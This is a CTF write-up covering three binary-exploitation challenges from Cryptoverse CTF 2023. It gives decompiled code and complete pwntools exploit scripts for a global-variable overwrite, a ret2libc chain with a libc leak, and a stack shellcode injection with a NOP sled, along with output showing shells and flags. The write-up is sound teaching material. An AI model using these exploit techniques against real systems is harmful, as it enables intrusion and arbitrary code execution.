Home Cryptoverse CTF 2023
Post
Cancel

Cryptoverse CTF 2023

These are my writeups for all the pwn-challenges at Cryptoverse CTF 2023.

Acceptance

Difficulty: Easy

I want to go out but I need to ask my mom first. Help me guys!

Files: acceptance

We are give a binary which when reversed looks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int print_flag(void){
  uint *puVar1;
  char flag [44];
  int flag_txt;
  if (accept < 1) {
    if (accept == -1) {
      flag_txt = open("/home/me/flag.txt",0);
      if (flag_txt == -1) {
        puVar1 = (uint *)__errno_location();
        fprintf(stderr,"Error num %d\n",(ulong)*puVar1);
      }
      else {
        read(flag_txt,flag,0x22);
        close(flag_txt);
        write(1,flag,0x22);
        putchar(10);
      }
    }
    else {
      puts("Nah, You are a liar!");
    }
  }
  else {
    puts("You ask a lot and she suspect me :((");
  }
  return 0;
}

int main(EVP_PKEY_CTX *param_1){
  init(param_1);
  puts("I wanna go out but I need mom\'s permisison.");
  printf("Help him: ");
  read(0,say,0x24);
  if (accept == 0) {
    puts("Arg! Why don\'t you help me :((");
  }
  else {
    print_flag();
  }
  return 0;
}

and have the following protections

1
2
3
4
5
6
$ checksec ./acceptance
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Our input is read into the global variable say, and ifthe global variable accept is not equal to 0 the print_flag function will be called. Inside print_flag we need the accept variable to be equal to 1.

We can overflow the say variable so that we overwrite the accept value, giving the value of -1.

We find the offset to the accept variable with a cyclic pattern in pwntools by breaking after our input has been read in Accept offset

Knowing the offset we can write the -1 value to the accept variable

1
2
3
4
5
6
7
8
9
10
io = start()

offset = 32
payload = b"A" * offset
payload += pack(-1)

io.recvuntil(b"him: ")
io.sendline(payload)

io.interactive()
1
2
3
4
5
6
7
8
$ python3 exploit.py
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
cvctf{Y34h_1_c4N_G0_n0w_tH4nK_y4u}

Ret2school

Difficulty: Medium

Bypass the authentication system by sending your homework over.

Files: ret2school ld-2.27.so libc.so.6

Main-function of the binary looks like this

1
2
3
4
5
6
7
int main(EVP_PKEY_CTX *param_1){
  char input [32];
  init(param_1);
  printf("Send me your homework: ");
  gets(input);
  return 0;
}

and the binary has the following protections

1
2
3
4
5
6
$ checksec ./ret2school
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

Since we have the gets function gathering our input, and no stack-canary or PIE, this looks like a simple ret2libc attack where we find the base-address of ASLR before calling system("/bin/sh").

We find the offset to be 40 by sending a cyclic pattern as input, and checking the offset into the cyclic pattern for the address we crash at, which in this case is 0x6161616161616166 Ret2school Offset

Since we don’t have a puts function to leak the GOT address of we leak for printf instead. In this case it leads to some extra stack-misalignments. Identifying stack-misalignment can be done by checking the instruction which we crash on, which in this case were movaps Stack Misalignment Crash

This sometimes happen on 64-bit binaries, and can be solved by adding an extra pack(ret) in the payload to align the stack. I had to align the stack a total of 3 times for the full exploit to work.

The exploit ended up being

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
offset = 40
libc = ELF('./libc.so.6', checksec=False)
ret = 0x40050e

io = start()

rop = ROP(exe)
rop.raw(b"A"*offset)
rop.raw(ret)
rop.printf(exe.got.printf)
rop.raw(ret)
rop.main()

io.recvuntil(b"homework: ")
io.sendline(rop.chain())

printf = u64(io.recvuntil(b"Send")[:-4].rstrip().ljust(8, b"\x00"))
log.success(f"printf: {hex(printf)}")
libc.address = printf - libc.symbols.printf
log.success(f"libc: {hex(libc.address)}")

rop = ROP(libc)
rop.raw(b"A"*offset)
rop.raw(ret)
rop.system(next(libc.search(b"/bin/sh\x00")))

io.recvuntil(b"homework: ")
io.sendline(rop.chain())
io.interactive()

which gives shell on the server

1
2
3
4
5
6
7
8
$ python3 exploit.py
[*] Loaded 14 cached gadgets for './ret2school'
[+] printf: 0x7fb6c7e7de40
[+] libc: 0x7fb6c7e19000
[*] Loaded 199 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
$ cat flag
cvctf{ret2libc_bfbfa238da098120}

Although there were some stack-misalignment which were not expected (2 occurrences in the 1st payload) I managed to first-blood this challenge

First Blood

Commando Conquest

Difficulty: Medium

Background Story

You enter the room and see a single PC on a desk, humming quietly. You know that you need to gain shell access to proceed, but it won’t be easy.

The PC is protected by a series of sophisticated security measures, and you’ll need to use all of your skills to bypass them. You pull up a chair and start working on the task at hand. As you type away at the keyboard, the screen flickers to life, displaying a command prompt.

The real challenge is yet to come. The HoYoverse security team is surely on high alert, and you’ll need to stay one step ahead if you want to make it out with the information you need. Conquer the shell prompt and uncover the final secret.

Files: shellprompt

This challenge were part 4 of a 5-part story, where the other challenges were in other categories than pwn.

This is a type of challenge which I have not written a writeup for yet! The reversed form of the binary looks like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void shell(void){
  char input [132];
  printf("Backdoor secret: %p\n",input);
  printf("Execute: ");
  gets(input);
  return;
}

int main(void){
  EVP_PKEY_CTX *in_stack_fffffff0;
  init(in_stack_fffffff0);
  shell();
  return 0;
}

and the binary protections

1
2
3
4
5
6
7
$ checksec ./shellprompt
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

A binary without NX means that we can execute shellcode from the stack, and the shell function provides us with the address of the buffer where our input is located.

The exploit here is that we can input shellcode and overwrite the rip register to make the program jump to and start executing our shellcode.

We start by finding the offset to rip with the same method as the two previous challenges. We find the offset to be 140.

Since we have to write 140 bytes, consisting of our shellcode + padding, to start to overwrite rip, we will use a nopsled to lead the program execution to our shellcode.

If we had used e.g. A’s as the padding in our shellcode the program would crash to du 0x41 not being valid instructions. We will therefore use nop instructions which are 0x90, as they just pass on the execution to the next instruction, until it eventually hits our shellcode. Computerphile has a nice video explaining the attack we perform more in detail.

So our payload will then consist of nops + shellcode + buffer-address, and ends up looking like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
context.arch = 'i386'
offset = 140
io = start()

io.recvuntil(b"secret: ")
buffer = int(io.recvline().strip(), 16)
log.success("buffer: " + hex(buffer))

payload = asm(shellcraft.sh()).ljust(offset, b"\x90")
payload += pack(buffer)

io.recvuntil(b"Execute: ")
io.sendline(payload)
io.interactive()

shellcraft.sh() is a pwntools function which creates assembly-instructions (our shellcode) which spawn a /bin/sh shell for us.

1
2
3
4
5
$ python3 exploit.py
[+] buffer: 0xfff1b530
[*] Switching to interactive mode
$ cat flag
cvctf{ret2ShELLc0d3_b013af54}
This post is licensed under CC BY 4.0 by the author.